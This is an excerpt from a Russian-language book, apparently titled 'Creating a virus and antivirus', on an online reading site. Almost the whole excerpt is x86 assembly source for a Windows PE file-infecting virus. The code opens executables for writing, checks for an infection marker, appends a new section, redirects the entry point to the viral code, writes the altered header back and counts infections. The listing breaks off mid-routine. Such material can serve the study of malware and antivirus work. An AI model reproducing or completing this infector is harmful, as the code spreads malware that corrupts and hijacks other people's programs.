Чтение онлайн

ЖАНРЫ

Создаем вирус и антивирус
Шрифт:

;Проверим, найден ли файл. Если файл не найден,

;меняем директорию

cmp eax,–1

jz foundnothing

;Откроем файл для чтения и записи

gofile:

push 0

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3 ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax,[ebp+offset fullname]

push eax

call CreateFile

;Сохраним описатель файла

mov dword ptr [ebp+offset ahand],eax

;Проверим,

не произошла ли ошибка.

;Если ошибка произошла, ищем следующий файл

cmp eax,–1

jz findnextone

;Поставим указатель позиции чтения/записи на поле

;со смещением PE−заголовка

push 0

push 0

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем адрес PE−заголовка

push 0

lea eax,[ebp+offset bytesread]

push eax

push 4

lea eax,[ebp+offset peheaderoffset]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера

;PE−заголовка и таблицы объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push 58h

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Проверим сигнатуру. Если ее нет, закрываем

;этот файл и ищем следующий

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

;Проверим файл на зараженность. Если файл заражен,

;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],0F00Dh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем весь PE−заголовок и таблицу объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],0F00Dh

;Найдем смещение таблицы объектов

xor eax,eax

mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax

;Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax,eax

mov ax,[ebp+offset numObj]

mov ecx,40

xor edx,edx

mul ecx

add esi,eax

;Увеличим

число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi,esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта

mov eax,[edi−5*8+8]

add eax,[edi−5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vend−vstart

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим виртуальный размер нового объекта

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend–vstart+1000h

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физическое смещение нового объекта

mov eax,[edi−5*8+20]

add eax,[edi−5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим размер образа (размер в памяти) файла

mov eax,vend−vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx,[ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd

;Вычислим точку входа RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax,ebx

add eax,5

;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем PE−заголовок и таблицу объектов в файл

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта

push 0

push 0

push dword ptr [ebp+offset physicaloffset]

Поделиться с друзьями: